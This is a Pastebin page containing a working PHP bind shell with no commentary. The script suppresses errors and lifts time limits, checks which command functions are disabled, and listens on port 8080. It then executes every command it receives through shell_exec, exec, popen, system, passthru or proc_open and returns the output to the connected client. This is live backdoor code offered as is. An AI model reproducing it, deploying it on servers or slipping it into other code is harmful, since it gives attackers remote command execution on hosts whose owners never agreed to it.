Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*<?php /**/
- @error_reporting(0);
- @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
- $aeXpyP=@ini_get('disable_functions');
- if(!empty($aeXpyP)){
- $aeXpyP=preg_replace('/[, ]+/', ',', $aeXpyP);
- $aeXpyP=explode(',', $aeXpyP);
- $aeXpyP=array_map('trim', $aeXpyP);
- }else{
- $aeXpyP=array();
- }
- $port=8080;
- $scl='socket_create_listen';
- if(is_callable($scl)&&!in_array($scl,$aeXpyP)){
- $sock=@$scl($port);
- }else{
- $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
- $ret=@socket_bind($sock,0,$port);
- $ret=@socket_listen($sock,5);
- }
- $msgsock=@socket_accept($sock);
- @socket_close($sock);
- while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
- {
- $o = '';
- $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
- if(FALSE===$c){break;}
- if(substr($c,0,3) == 'cd '){
- chdir(substr($c,3,-1));
- } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
- break;
- }else{
- if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
- $c=$c." 2>&1\n";
- }
- $WOfN='is_callable';
- $BhAxY='in_array';
- if($WOfN('shell_exec')and!$BhAxY('shell_exec',$aeXpyP)){
- $o=shell_exec($c);
- }else
- if($WOfN('exec')and!$BhAxY('exec',$aeXpyP)){
- $o=array();
- exec($c,$o);
- $o=join(chr(10),$o).chr(10);
- }else
- if($WOfN('popen')and!$BhAxY('popen',$aeXpyP)){
- $fp=popen($c,'r');
- $o=NULL;
- if(is_resource($fp)){
- while(!feof($fp)){
- $o.=fread($fp,1024);
- }
- }
- @pclose($fp);
- }else
- if($WOfN('system')and!$BhAxY('system',$aeXpyP)){
- ob_start();
- system($c);
- $o=ob_get_contents();
- ob_end_clean();
- }else
- if($WOfN('passthru')and!$BhAxY('passthru',$aeXpyP)){
- ob_start();
- passthru($c);
- $o=ob_get_contents();
- ob_end_clean();
- }else
- if($WOfN('proc_open')and!$BhAxY('proc_open',$aeXpyP)){
- $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
- $o=NULL;
- while(!feof($pipes[1])){
- $o.=fread($pipes[1],1024);
- }
- @proc_close($handle);
- }else
- {
- $o=0;
- }
- }
- @socket_write($msgsock,$o,strlen($o));
- }
- @socket_close($msgsock);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement